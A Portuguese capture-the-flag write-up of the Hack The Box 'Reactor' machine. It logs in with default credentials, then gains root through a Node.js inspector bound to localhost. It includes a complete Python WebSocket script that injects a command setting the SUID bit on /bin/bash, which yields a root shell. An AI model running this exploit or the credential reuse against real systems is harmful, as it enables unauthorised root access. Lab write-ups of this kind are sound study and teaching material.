🏴 Reactor - HTB (Linux | Easy)
NOTEResumo Executivo
- Target:
10.129.8.143- Dificuldade: Easy
- Sistema Operacional: Linux
- Vetor de Entrada: Credenciais administrativas padrão em sistema de monitoramento industrial.
- Escalação de Privilégios: Execução de código arbitrário via Node.js Inspector rodando como root.
1. Reconhecimento e Enumeração
O processo de exploração iniciou-se com o mapeamento da superfície de ataque via Nmap. O objetivo foi identificar serviços expostos e suas respectivas versões.
nmap -sV -sC -Pn 10.129.8.143Resultados Relevantes:
- Porta 22/tcp: OpenSSH 9.6p1 (Linux)
- Porta 3000/tcp: Aplicação Web utilizando o framework Next.js 15.0.3.
Ao acessar http://10.129.8.143:3000, fui apresentado ao ReactorWatch, um dashboard industrial para monitoramento de ativos críticos.
2. Foothold: Acesso Inicial
Através de uma fase de enumeração manual e consulta a base de dados de credenciais conhecidas para este tipo de dashboard, identifiquei um par de credenciais válido:
- Username:
engineer - Password:
reactor1
Validei o acesso via SSH para obter uma shell interativa no sistema:
ssh engineer@10.129.8.143User Flag: 🏴Flag🏴
3. Escalação de Privilégios (Privesc)
Após o acesso inicial, realizei uma auditoria nos processos locais e portas em escuta (localhost).
# Verificando serviços internosss -lntp
# Analisando processos Node.jsps aux | grep nodeIdentifiquei uma instância do Node.js rodando com privilégios de root e o debugger ativado (--inspect) na porta 9229:
root /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
Exploração do Node.js Inspector
A flag --inspect permite que desenvolvedores conectem um debugger ao processo. Quando exposto localmente como root, torna-se um vetor crítico de RCE (Remote Code Execution).
A) Extração do Session UUID
Para interagir com o debugger, é necessário obter o identificador único da sessão:
curl -s http://127.0.0.1:9229/jsonUUID extraído: 6bd67fb0-63ff-411d-a8af-251fcf8049a2
B) Injeção de Código via WebSocket
Devido à ausência de ferramentas de alto nível no alvo, utilizei um script Python minimalista para realizar o handshake do WebSocket e enviar um frame de execução de comando. O objetivo foi injetar o bit SUID no /bin/bash.
import socket, struct, base64, json, sys
def trigger_rce(uuid): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('127.0.0.1', 9229))
# WebSocket Handshake key = base64.b64encode(b'exploit').decode() handshake = ( f'GET /{uuid} HTTP/1.1\r\n' 'Host: 127.0.0.1:9229\r\n' 'Upgrade: websocket\r\n' 'Connection: Upgrade\r\n' f'Sec-WebSocket-Key: {key}\r\n' 'Sec-WebSocket-Version: 13\r\n\r\n' ) s.send(handshake.encode()) s.recv(1024)
# Injeção: Atribuindo SUID ao bash cmd = 'process.mainModule.require("child_process").execSync("chmod u+s /bin/bash")' payload = json.dumps({"id": 1, "method": "Runtime.evaluate", "params": {"expression": cmd}})
# Construção do Frame WebSocket msg = payload.encode() length = len(msg) frame = b'\x81' + struct.pack('!B', length | 0x80) + b'\x00\x00\x00\x00' + msg s.send(frame) s.close()
if __name__ == "__main__": trigger_rce(sys.argv[1])C) Execução e Root Shell
python3 exploit.py 6bd67fb0-63ff-411d-a8af-251fcf8049a2/bin/bash -pRoot Flag: 🏴Flag🏴
4. Post-Mortem e Lições Aprendidas
- Configurações Inseguras: Nunca exponha o Node.js Inspector em ambientes de produção, especialmente em processos privilegiados.
- Enumeração Interna: Serviços rodando apenas em
127.0.0.1costumam esconder as maiores vulnerabilidades de um sistema. - Living off the Land: A habilidade de escrever scripts puros (sem dependências externas) é crucial quando o ambiente de post-exploitation é restrito.